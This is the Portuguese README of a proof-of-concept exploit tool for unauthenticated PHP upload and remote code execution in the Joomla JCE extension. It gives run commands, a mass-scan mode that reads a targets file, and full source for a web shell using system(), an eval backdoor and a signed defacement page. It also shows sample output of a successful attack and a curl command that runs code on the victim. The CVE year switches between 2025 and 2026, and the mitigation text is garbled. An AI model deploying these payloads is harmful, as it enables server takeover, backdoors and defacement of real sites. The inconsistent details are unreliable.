
CVE-2025-48907 - Exploit de RCE não autenticado para Joomla JCE < 2.9.99.5
Joomla! JCE extension < 2.9.99.5 - Upload Arbitrário de Arquivo PHP e Execução Remota de Código não autenticados
http.component:"Joomla"
app="Joomla"
Este repositório contém um prova de conceito (PoC) para a CVE-2026-48907, uma vulnerabilidade crítica na extensão Joomla! JCE (Joomla Content Editor) em versões anteriores a 2.9.99.5. A vulnerabilidade permite que atacantes não autenticados façam upload de arquivos PHP arbitrários por meio da funcionalidade de importação de perfil do JCE, levando à execução remota de código (RCE).
Esta ferramenta é apenas para fins educacionais e de teste autorizado.
- Use apenas em sistemas que você possui ou tem permissão explícita para testar
- O autor não se responsabiliza por qualquer uso indevido ou atividades ilegais
- Sempre obtenha autorização adequada antes de testar
index.php?option=com_jce&task=profiles.import)/tmp/ e pode ser executado via acesso direto# Clone o repositório
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Instale as dependências necessárias
pip3 install requests urllib3
requestsurllib3python3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
* Deve ser fornecido -u ou -f
Crie um arquivo targets.txt com uma URL por linha:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Comentários são ignorados
https://example-joomla.com
Todos os payloads devem ser arquivos PHP, pois o exploit faz upload de código PHP que será executado no servidor.
Crie shell.php:
<?php
// Web Shell PHP Simples
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Uso: ?cmd=comando";
}
?>
Crie deface.php:
<?php
// Página de Desfiguração PHP
echo '<!DOCTYPE html>
<html>
<head>
<title>Hackeado por 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKEADO POR 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Segurança não é um produto, é um processo.</p>
<p>Servidor: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Data/Hora: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
Crie backdoor.php:
<?php
// Backdoor PHP Mínimo
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE extension < 2.9.99.5 RCE não autenticada
Autor: 0xgh057r3c0n (Upload de Arquivo PHP)
[*] Carregado(s) 3 alvo(s)
[*] Alvo 1/3
[*] ==================================================
[+] Alvo: http://target-joomla.com
[+] Obtendo token CSRF...
[+] Token CSRF: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Fazendo upload do arquivo PHP: cve-2026-48907-1234.xml.php
[+] Perfil importado com sucesso!
[+] Testando o arquivo PHP carregado...
============================================================
[!!!!!] ARQUIVO PHP CARREGADO COM SUCESSO!
[!!!!!] O servidor ESTÁ VULNERÁVEL à CVE-2025-48907!
============================================================
[+] Visualize seu arquivo PHP carregado: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Acesso rápido:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/index.php?option=com_jce&task=profiles.import.xml.php em /tmp//tmp/Atualize a Extensão JCE:
Soluções Temporárias:
/tmp/allow_url_fopen se não for necessárioAções Pós-Comprometimento:
/tmp/Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
Contribuições são bem-vindas! Sinta-se à vontade para enviar um Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Adiciona AmazingFeature')git push origin feature/AmazingFeature)Se você achar esta ferramenta útil, considere dar uma estrela ⭐ no GitHub!
| Propriedade | Valor |
|---|
| ID CVE | CVE-2026-48907 |
| Produto | Extensão Joomla! JCE |
| Versões Afetadas | < 2.9.99.5 |
| Tipo de Vulnerabilidade | Upload de arquivo PHP não autenticado → RCE |
| Pontuação CVSS | 9.8 (Crítica) |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma necessária |
| Impacto | Comprometimento total do sistema |
| Argumento | Obrigatório | Descrição |
|---|
-u, --url | Sim* | URL do alvo único (ex.: http://target.com) |
-f, --file | Sim* | Arquivo contendo lista de URLs de alvos (um por linha) |
-F, --upload-file | Sim | Arquivo PHP a ser carregado (shell, backdoor, página de desfiguração) |
-v, --verbose | Não | Ativar saída verbosa para depuração |
-o, --output | Não | Salvar URLs de upload bem-sucedidas em um arquivo |